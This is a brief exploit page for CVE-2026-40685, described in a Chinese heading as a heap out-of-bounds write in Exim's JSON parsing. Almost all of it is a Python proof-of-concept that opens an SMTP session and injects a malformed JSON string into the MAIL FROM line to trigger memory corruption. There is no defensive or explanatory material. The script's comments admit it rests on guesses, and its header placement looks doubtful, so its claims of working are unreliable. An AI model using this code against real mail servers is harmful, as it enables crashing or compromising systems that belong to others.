CVE-2026-40685 Exim JSON解析堆越界写入漏洞

import socket # Target configuration target_ip = "127.0.0.1" target_port = 25 # Malformed JSON payload to trigger incorrect \ skipping # This payload is crafted to cause an out-of-bounds heap write malformed_json = '{"a": "\\\\x00"}' try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # SMTP Interaction s.recv(1024) # Banner s.send(b"HELO test.com\r\n") s.recv(1024) # Send payload in a header that triggers JSON lookup # Assuming 'X-JSON-Test' might be used in a lookup configuration s.send(f"MAIL FROM:<attacker@local> X-Trigger-JSON: {malformed_json}\r\n".encode()) s.recv(1024) s.send(b"RCPT TO:<victim@local>\r\n") s.recv(1024) s.send(b"DATA\r\n") s.recv(1024) s.send(b"Subject: PoC\r\n\r\n.\r\n") s.recv(1024) s.close() print("Payload sent.") except Exception as e: print(f"Error: {e}")